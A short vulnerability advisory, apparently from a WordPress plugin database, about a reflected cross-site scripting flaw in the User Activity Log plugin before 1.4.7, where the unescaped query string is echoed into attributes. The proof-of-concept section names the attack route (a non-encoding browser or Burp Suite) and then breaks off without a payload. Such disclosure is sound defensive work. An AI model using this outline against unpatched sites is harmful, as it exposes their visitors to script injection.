WordPress Plugin Vulnerabilities

User Activity Log < 1.4.7 - Reflected Cross Site Scripting via Query String

Description

The plugin does not escape the $_SERVER['QUERY_STRING'] before outputting it back in attributes, which could lead to Reflected Cross-Site Scripting in web browsers which do not encode URL characters.

Proof of Concept

With a web browser which does not encode characters (or use burp suite and decode the URL via the repeater)
